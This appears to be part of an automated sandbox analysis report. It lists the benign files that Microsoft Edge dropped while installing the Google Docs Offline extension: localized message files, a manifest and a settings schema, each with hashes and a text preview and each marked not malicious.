SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7820_1689824082\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
